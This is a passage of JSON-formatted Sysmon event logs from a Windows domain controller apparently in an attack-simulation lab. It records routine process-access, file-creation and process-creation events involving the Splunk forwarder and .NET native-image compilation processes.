Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.197","SourceProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","SourceProcessId":"3396","SourceThreadId":"3612","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:39.463\r\nProcessGuid: {90617006-42A3-5F2D-0000-0010113B0B00}\r\nProcessId: 1008\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\3f0-0\\Microsoft.Build.Framework.dll\r\nCreationUtcTime: 2020-08-07 12:01:39.463","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:39.463","ProcessGuid":"{90617006-42A3-5F2D-0000-0010113B0B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\3f0-0\\Microsoft.Build.Framework.dll","CreationUtcTime":"2020-08-07 12:01:39.463","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00104EF00A00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00104EF00A00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00104EF00A00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00104EF00A00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010803E0B00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010803E0B00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-001030420B00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-001030420B00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-001030420B00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-001030420B00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-001030420B00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-001030420B00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nProcessGuid: {90617006-42A3-5F2D-0000-0010C1450B00}\r\nProcessId: 4008\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","ProcessGuid":"{90617006-42A3-5F2D-0000-0010C1450B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010C1450B00}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program 